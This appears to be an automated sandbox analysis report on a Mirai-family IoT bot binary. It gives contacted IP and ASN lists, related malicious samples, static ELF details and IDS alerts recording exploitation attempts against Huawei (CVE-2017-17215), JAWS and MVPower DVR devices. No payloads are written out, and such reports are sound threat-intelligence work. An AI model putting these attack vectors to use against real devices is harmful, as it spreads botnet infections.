110.154.211.233	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
126.210.55.25	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
142.48.228.191	unknown	Canada	3633	PROVINCE-OF-BRITISH-COLUMBIACA	false
156.32.17.217	unknown	United States	29975	VODACOM-ZA	false
113.2.173.216	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
197.142.130.140	unknown	Algeria	36891	ICOSNET-ASDZ	false
109.244.96.111	unknown	China	45090	CNNIC-TENCENT-NET-APShenzhenTencentComputerSystemsCompa	false
212.34.153.120	unknown	Spain	20648	RAN-NETWORKSES	true
207.147.78.144	unknown	United States	2711	SPIRITTEL-ASUS	false
124.126.158.225	unknown	China	4847	CNIX-APChinaNetworksInter-ExchangeCN	false
104.5.157.201	unknown	United States	7018	ATT-INTERNET4US	false
156.84.166.207	unknown	United States	10695	WAL-MARTUS	false
197.188.167.216	unknown	Namibia	36996	TELECOM-NAMIBIANA	false
198.148.115.164	unknown	United States	35916	MULTA-ASN1US	false
41.20.19.240	unknown	South Africa	36994	Vodacom-VBZA	false
199.132.136.121	unknown	United States	4152	USDA-1US	false
42.2.238.124	unknown	Hong Kong	4760	HKTIMS-APHKTLimitedHK	false
59.51.24.146	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
57.107.254.70	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
96.155.51.21	unknown	United States	7922	COMCAST-7922US	false
197.159.86.205	unknown	unknown	37018	GALAXYBB-ASNG	false
187.114.167.144	unknown	Brazil	18881	TELEFONICABRASILSABR	false
24.129.100.53	unknown	United States	7922	COMCAST-7922US	false
42.21.30.53	unknown	Korea Republic of	9644	SKTELECOM-NET-ASSKTelecomKR	false
23.124.19.195	unknown	United States	7018	ATT-INTERNET4US	false
41.184.66.131	unknown	Nigeria	29091	IPNXngNG	false
176.217.147.111	unknown	Turkey	8386	KOCNETTR	false
134.228.180.107	unknown	United States	13490	BUCKEYECABLEVISIONUS	false
150.122.8.138	unknown	China	4152	USDA-1US	false
50.193.59.167	unknown	United States	7922	COMCAST-7922US	false
162.204.206.26	unknown	United States	7018	ATT-INTERNET4US	false
58.188.196.185	unknown	Japan	17511	OPTAGEOPTAGEIncJP	false
19.139.78.198	unknown	United States	3	MIT-GATEWAYSUS	false
197.245.254.160	unknown	South Africa	11845	Vox-TelecomZA	false
94.179.128.98	unknown	Ukraine	6849	UKRTELNETUA	false
44.225.253.229	unknown	United States	16509	AMAZON-02US	false
83.218.78.62	unknown	Sweden	29468	INFRACOMSE	false
45.244.146.82	unknown	Egypt	24863	LINKdotNET-ASEG	false
156.92.126.60	unknown	United States	10695	WAL-MARTUS	false
41.95.200.242	unknown	Sudan	36998	SDN-MOBITELSD	false
124.177.120.3	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
115.79.30.121	unknown	Viet Nam	7552	VIETEL-AS-APViettelGroupVN	false
197.187.83.231	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
60.39.84.21	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.183.225.236	unknown	Egypt	36992	ETISALAT-MISREG	false
209.188.254.145	unknown	United States	2152	CSUNET-NWUS	false
86.59.156.56	unknown	Hungary	5483	MAGYAR-TELEKOM-MAIN-ASMagyarTelekomNyrtHU	false
148.119.134.81	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
78.127.63.151	unknown	France	8228	CEGETEL-ASFR	false
156.113.109.247	unknown	United States	393504	XNSTGCA	true
205.249.54.111	unknown	United States	3364	CSDCO-ASUS	true
41.99.255.20	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.142.186.152	unknown	Algeria	36891	ICOSNET-ASDZ	false
36.41.243.140	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
148.141.25.186	unknown	United States	18844	SHERWIN-ASUS	false
169.133.55.117	unknown	United States	209	CENTURYLINK-US-LEGACY-QWESTUS	false
72.9.39.36	unknown	United States	14131	DATAYARDUS	false
149.170.189.6	unknown	United Kingdom	786	JANETJiscServicesLimitedGB	false
41.74.34.25	unknown	Chad	37292	OTI-ASBJ	true
143.132.39.47	unknown	United States	32229	JSUMS-ARINUS	false
141.181.17.17	unknown	United States	197921	HBTFJO	false
196.108.34.85	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.118.202.33	unknown	France	59863	NORSKREGNESENTRALNO	true
41.95.142.163	unknown	Sudan	36998	SDN-MOBITELSD	false
53.27.29.37	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
198.203.182.175	unknown	United States	10879	UHCUS	true
197.241.174.222	unknown	Angola	37081	movicel-asAO	true
135.192.200.24	unknown	United States	14962	NCR-252US	false
41.123.244.75	unknown	South Africa	16637	MTNNS-ASZA	false
112.189.236.44	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.1.8.235	unknown	South Africa	29975	VODACOM-ZA	false
5.101.235.186	unknown	Russian Federation	15552	DIGCOMMRU	false
41.191.51.126	unknown	unknown	36974	AFNET-ASCI	false
19.162.241.239	unknown	United States	3	MIT-GATEWAYSUS	false
46.119.70.215	unknown	Ukraine	15895	KSNET-ASUA	false
126.15.23.25	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
170.178.21.72	unknown	United States	11685	HNBCOL-ASUS	false
197.187.237.33	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	true
25.236.239.227	unknown	United Kingdom	7922	COMCAST-7922US	false
197.115.116.46	unknown	Algeria	36947	ALGTEL-ASDZ	false
85.180.164.31	unknown	Germany	6805	TDDE-ASN1DE	false
156.241.96.20	unknown	Seychelles	133201	COMING-ASABCDEGROUPCOMPANYLIMITEDHK	false
206.26.7.6	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
172.148.19.182	unknown	United States	7018	ATT-INTERNET4US	false
126.83.226.0	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
41.139.184.97	unknown	Kenya	37061	SafaricomKE	true
41.223.56.124	unknown	Kenya	36926	CKL1-ASNKE	false
121.249.225.29	unknown	China	138371	CNGI-QDA-IX-AS-APCERNET2regionalIXatOceanUniversityof	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
41.193.123.12	VdNamyEAY2.elf	Get hash	malicious	Mirai, Moobot	Browse
156.32.17.217	ircxeF7x13	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
woofwoof.cfd	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse	94.156.64.221
woofwoof.cfd	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse	94.156.64.221

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ETISALAT-MISREG	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse	156.172.243.3
	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse	156.164.65.227
	A89tA7b84K.elf	Get hash	malicious	Mirai	Browse	156.165.149.228
	EgucScJumS.elf	Get hash	malicious	Mirai	Browse	105.95.147.88
	ia54Vyu1GO.elf	Get hash	malicious	Mirai	Browse	41.152.179.63
	ysEZTOz202.elf	Get hash	malicious	Mirai	Browse	197.123.173.24
	bot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	102.56.159.29
	bot.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	197.121.209.130
	bot.mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	197.125.42.7
	bot.arm.elf	Get hash	malicious	Mirai, Moobot	Browse	197.193.232.118
DOCOMONTTDOCOMOINCJP	skt.sh4.elf	Get hash	malicious	Mirai	Browse	183.73.174.226
	skt.spc.elf	Get hash	malicious	Mirai	Browse	110.163.169.5
	BsQruPrJVe.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	1.77.255.100
	bPnq1YMDrf.elf	Get hash	malicious	Mirai, Okiru	Browse	157.117.69.117
	PaRWfF3x5K.elf	Get hash	malicious	Unknown	Browse	27.229.187.214
	bWT2t63tyx.elf	Get hash	malicious	Mirai	Browse	1.74.39.231
	BEddZjSb7A.elf	Get hash	malicious	Unknown	Browse	1.79.211.223
	hgVOQGUGqk.elf	Get hash	malicious	Unknown	Browse	49.99.149.239
	bot.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	157.117.69.108
	AsrP4dFOgM.elf	Get hash	malicious	Mirai, Moobot	Browse	157.117.193.124
Vox-TelecomZA	6o85zATp5y.elf	Get hash	malicious	Mirai	Browse	155.242.57.30
	ZKByZWlOxI.elf	Get hash	malicious	Mirai	Browse	196.3.171.87
	bot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.245.71.192
	bot.mpsl-20240528-2108.elf	Get hash	malicious	Mirai, Moobot	Browse	41.193.123.116
	arm7.nn.elf	Get hash	malicious	Mirai	Browse	155.240.76.171
	skt.x86.elf	Get hash	malicious	Mirai	Browse	196.41.11.236
	dLW2bzO9c1.elf	Get hash	malicious	Mirai, Moobot	Browse	41.193.123.118
	am1NjEcc9b.elf	Get hash	malicious	Mirai	Browse	197.245.71.198
	2YEUP84vcy.elf	Get hash	malicious	Mirai	Browse	41.193.135.13
	IQU2qqn8AZ.elf	Get hash	malicious	Mirai	Browse	41.193.135.13
TE-ASTE-ASEG	ACKpfvO313.elf	Get hash	malicious	Mirai	Browse	197.42.235.234
	vh9HOxBJJN.elf	Get hash	malicious	Mirai	Browse	156.192.115.128
	xS8bwPQjO2.elf	Get hash	malicious	Mirai	Browse	154.183.195.76
	EgucScJumS.elf	Get hash	malicious	Mirai	Browse	81.10.127.10
	ia54Vyu1GO.elf	Get hash	malicious	Mirai	Browse	41.44.233.227
	ux0nQXF0P6.elf	Get hash	malicious	Mirai	Browse	197.33.36.92
	6o85zATp5y.elf	Get hash	malicious	Mirai	Browse	154.177.149.195
	bot.arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.33.73.24
	bot.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.36.101.124

Process:	/usr/lib/x86_64-linux-gnu/xfce4/xfconf/xfconfd
File Type:	XML 1.0 document, ASCII text
Category:	dropped
Size (bytes):	5128
Entropy (8bit):	4.457618060812407
Encrypted:	false
SSDEEP:	96:R14GBdYLSNUH+ZAFQrSRR6dn0tWlTDFwIfM/vfzPpjT9I3jZ/qeH2Wg:74GnYLSNUH+ZAyrSRRYn0taTDKIfMPzv
MD5:	2A2A7C34B585CDAE5E123F3C5100C253
SHA1:	E814B1B1531B25581DB76CB813C85E53E1390BA4
SHA-256:	BCA18B654D038B69B25ACDF84CFF99BF521A1B54F482F1DE2B54CE13AC219A04
SHA-512:	CEC7A3A7A6AD6C2A6D101A3BF6D89A01EBDCEB0121AA3DE1CEA024268410B39E4E9188382439C7C3FD734C66764B66B13F1D277700B00A2FCB35CB67E31996DD
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	<?xml version="1.0" encoding="UTF-8"?>..<channel name="xfce4-panel" version="1.0">. <property name="configver" type="int" value="2"/>. <property name="panels" type="array">. <value type="int" value="1"/>. <value type="int" value="2"/>. <property name="panel-1" type="empty">. <property name="position" type="string" value="p=6;x=0;y=0"/>. <property name="length" type="uint" value="100"/>. <property name="position-locked" type="bool" value="true"/>. <property name="icon-size" type="uint" value="16"/>. <property name="size" type="uint" value="26"/>. <property name="plugin-ids" type="array">. <value type="int" value="1"/>. <value type="int" value="2"/>. <value type="int" value="3"/>. <value type="int" value="4"/>. <value type="int" value="5"/>. <value type="int" value="6"/>. <value type="int" value="7"/>. <value type="int" value="8"/>. <value type="int" value="9"/>. <value type="in

Static File Info

General

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.683071633163858
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	t9lNEiD3ui.elf
File size:	74'356 bytes
MD5:	0a305a485936ad7b125fd7c290a0eb96
SHA1:	c7e3cf74d777ab0f245e2490623cae64daf8b8cd
SHA256:	3a8d62d46b4085e40a80a7595995da009984db3e75096580d4f3008d0a588272
SHA512:	c8ac2fa6e02b065399366264c64bbbf58d5825753d48c5bec1e744ddf8044be3eec633164e78121bd7cc7e22a7a30e0e9dc18a354029fb748cb3d556275f8a7b
SSDEEP:	1536:N/OLrHkwdPBGD2YhuZW67BecaGN18vAKHzQHsahZc9:N/O/EwOgWJE1EalZ
TLSH:	21738D32E0146CE2C62019B6B6EDDD7C0343BD6154626CB16E8DABD84D6BEECB08DB50
File Content Preview:	.ELF.....................@.4.... ......4. ...(...............@...@.....................t ..t B.t B.0...t...........Q.td..............................././"O.n......#.@........#.*@....&O.n.l..................................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0xc
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	73956
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x2e	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0x104e0	0x0	0x6	AX	32
.fini	PROGBITS	0x4105c0	0x105c0	0x22	0x0	0x6	AX	4
.rodata	PROGBITS	0x4105e4	0x105e4	0x13cc	0x0	0x2	A	4
.ctors	PROGBITS	0x422074	0x12074	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x42207c	0x1207c	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x422088	0x12088	0x1c	0x0	0x3	WA	4
.bss	NOBITS	0x4220a4	0x120a4	0x944	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x120a4	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x119b0	0x119b0	6.7893	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x12074	0x422074	0x422074	0x30	0x974	2.2883	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/01/24-18:15:54.251831	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35770	37215	192.168.2.23	197.81.225.105
06/01/24-18:15:55.261460	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42000	37215	192.168.2.23	41.32.165.26
06/01/24-18:15:55.265326	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57236	80	192.168.2.23	157.210.196.213
06/01/24-18:15:55.268249	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50984	80	192.168.2.23	191.125.210.105
06/01/24-18:15:56.307074	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58850	37215	192.168.2.23	197.35.163.130
06/01/24-18:15:53.241651	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40554	80	192.168.2.23	60.55.180.73
06/01/24-18:15:56.307832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46636	37215	192.168.2.23	197.46.217.40
06/01/24-18:15:54.252468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45594	37215	192.168.2.23	156.9.236.107
06/01/24-18:15:53.240541	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	54536	80	192.168.2.23	197.114.181.205
06/01/24-18:15:55.260401	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43740	37215	192.168.2.23	197.163.157.253
06/01/24-18:15:53.237757	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	37624	80	192.168.2.23	42.244.32.219
06/01/24-18:15:55.259281	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44494	37215	192.168.2.23	156.41.49.187
06/01/24-18:15:55.264884	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48322	80	192.168.2.23	191.89.47.231
06/01/24-18:15:54.253854	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42030	37215	192.168.2.23	197.154.217.12
06/01/24-18:15:55.268202	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	40682	80	192.168.2.23	120.172.16.124
06/01/24-18:15:53.239333	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	50980	80	192.168.2.23	212.199.183.185
06/01/24-18:15:55.263107	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52304	37215	192.168.2.23	41.136.68.81
06/01/24-18:15:53.238879	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42554	80	192.168.2.23	68.39.123.219
06/01/24-18:15:54.254927	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46710	37215	192.168.2.23	197.109.223.59
06/01/24-18:15:55.259084	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34116	37215	192.168.2.23	197.227.44.103
06/01/24-18:15:54.251475	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56050	37215	192.168.2.23	156.198.133.179
06/01/24-18:15:54.238118	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	60810	80	192.168.2.23	99.170.206.200
06/01/24-18:15:54.273912	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35310	37215	192.168.2.23	156.55.54.27
06/01/24-18:15:55.259125	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53256	37215	192.168.2.23	156.182.240.81
06/01/24-18:15:56.308094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36302	37215	192.168.2.23	156.166.201.246
06/01/24-18:15:54.252286	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52362	37215	192.168.2.23	156.45.224.43
06/01/24-18:15:54.254181	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44086	37215	192.168.2.23	41.139.184.97
06/01/24-18:15:56.307255	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35724	37215	192.168.2.23	156.177.93.194
06/01/24-18:15:55.268096	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	45848	80	192.168.2.23	148.228.134.26
06/01/24-18:15:54.251747	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40380	37215	192.168.2.23	41.29.240.127
06/01/24-18:15:53.237729	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	53384	80	192.168.2.23	115.206.192.214
06/01/24-18:15:54.251062	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48658	37215	192.168.2.23	41.164.227.208
06/01/24-18:15:54.256517	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55302	37215	192.168.2.23	197.177.223.221
06/01/24-18:15:55.266093	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	42032	80	192.168.2.23	172.152.35.55
06/01/24-18:15:53.247100	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54366	80	192.168.2.23	48.52.58.128
06/01/24-18:15:54.238864	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	40456	80	192.168.2.23	132.66.64.38
06/01/24-18:15:54.256904	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58434	37215	192.168.2.23	197.24.244.117
06/01/24-18:15:55.265423	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55036	80	192.168.2.23	42.75.164.254
06/01/24-18:15:54.252388	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53196	37215	192.168.2.23	156.58.214.28
06/01/24-18:15:56.305803	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50172	37215	192.168.2.23	197.78.23.227
06/01/24-18:15:54.237601	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	44574	80	192.168.2.23	168.235.31.17
06/01/24-18:15:54.273782	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46148	37215	192.168.2.23	197.69.9.82
06/01/24-18:15:55.261704	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59268	37215	192.168.2.23	197.115.193.139
06/01/24-18:15:53.238079	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43832	80	192.168.2.23	34.240.253.41
06/01/24-18:15:54.238523	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58026	80	192.168.2.23	59.172.71.185
06/01/24-18:15:56.254680	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	34716	80	192.168.2.23	47.229.128.11
06/01/24-18:15:56.308237	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45302	37215	192.168.2.23	41.114.72.170
06/01/24-18:15:54.239606	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	48026	80	192.168.2.23	124.204.6.25
06/01/24-18:15:54.252809	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53806	37215	192.168.2.23	197.239.209.224
06/01/24-18:15:54.256311	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32974	37215	192.168.2.23	41.13.222.141
06/01/24-18:15:55.260737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53226	37215	192.168.2.23	197.146.75.139
06/01/24-18:15:54.274230	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55148	37215	192.168.2.23	156.122.9.247
06/01/24-18:15:54.273711	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37362	37215	192.168.2.23	156.48.71.40
06/01/24-18:15:56.287347	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	47844	80	192.168.2.23	129.88.154.122
06/01/24-18:15:56.308066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57036	37215	192.168.2.23	41.97.81.103
06/01/24-18:15:53.240367	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	33706	80	192.168.2.23	187.205.139.84
06/01/24-18:15:54.239670	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	54808	80	192.168.2.23	118.249.69.78
06/01/24-18:15:55.259918	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60760	37215	192.168.2.23	41.102.253.127
06/01/24-18:15:54.253083	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55144	37215	192.168.2.23	41.61.6.231
06/01/24-18:15:56.245293	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50556	80	192.168.2.23	159.201.245.13
06/01/24-18:15:55.265307	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	43646	80	192.168.2.23	105.69.202.220
06/01/24-18:15:53.241837	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	57174	80	192.168.2.23	37.47.52.166
06/01/24-18:15:54.240510	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	41746	80	192.168.2.23	80.152.111.154
06/01/24-18:15:56.306008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47108	37215	192.168.2.23	41.12.155.54
06/01/24-18:15:56.246748	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37954	80	192.168.2.23	183.59.59.222
06/01/24-18:15:54.251427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40714	37215	192.168.2.23	197.215.123.203
06/01/24-18:15:56.306077	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34742	37215	192.168.2.23	41.127.231.35
06/01/24-18:15:54.274356	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46882	37215	192.168.2.23	197.249.199.20
06/01/24-18:15:54.275211	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32910	37215	192.168.2.23	197.236.18.225
06/01/24-18:15:56.307179	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37022	37215	192.168.2.23	197.84.49.239
06/01/24-18:15:56.246473	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	50956	80	192.168.2.23	72.8.191.18
06/01/24-18:15:56.287840	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54832	37215	192.168.2.23	197.91.191.231
06/01/24-18:15:54.251612	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38836	37215	192.168.2.23	156.141.233.124
06/01/24-18:15:55.261368	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45138	37215	192.168.2.23	156.193.29.187
06/01/24-18:15:54.252324	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41586	37215	192.168.2.23	197.22.210.222
06/01/24-18:15:55.262106	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38672	37215	192.168.2.23	41.144.238.83
06/01/24-18:15:55.266817	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55674	80	192.168.2.23	138.31.177.46
06/01/24-18:15:55.265106	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36350	80	192.168.2.23	50.74.213.181
06/01/24-18:15:55.267923	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55788	80	192.168.2.23	112.160.11.208
06/01/24-18:15:56.247051	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	53500	80	192.168.2.23	52.63.251.95
06/01/24-18:15:56.287981	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39772	37215	192.168.2.23	41.209.117.218
06/01/24-18:15:56.305877	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34924	37215	192.168.2.23	41.219.48.227
06/01/24-18:15:56.246697	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	55516	80	192.168.2.23	27.184.243.158
06/01/24-18:15:54.251906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33272	37215	192.168.2.23	41.104.188.254
06/01/24-18:15:56.254966	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58512	80	192.168.2.23	188.86.168.160
06/01/24-18:15:54.275510	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38772	37215	192.168.2.23	197.231.220.22
06/01/24-18:15:54.256278	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37590	37215	192.168.2.23	197.1.219.71
06/01/24-18:15:55.267289	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	36068	80	192.168.2.23	43.160.124.104
06/01/24-18:15:56.246777	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	42388	80	192.168.2.23	58.54.35.204
06/01/24-18:15:54.273650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39250	37215	192.168.2.23	41.136.53.187
06/01/24-18:15:54.254035	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50018	37215	192.168.2.23	197.215.229.110
06/01/24-18:15:53.240199	TCP	2025883	ET EXPLOIT MVPower DVR Shell UCE	37886	80	192.168.2.23	154.1.74.103
06/01/24-18:15:54.253703	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37980	37215	192.168.2.23	197.18.253.163
06/01/24-18:15:56.224465	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	58842	80	192.168.2.23	81.92.36.148
06/01/24-18:15:54.252700	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47716	37215	192.168.2.23	197.148.143.218
06/01/24-18:15:56.245977	TCP	2030092	ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution	39866	80	192.168.2.23	119.181.107.102
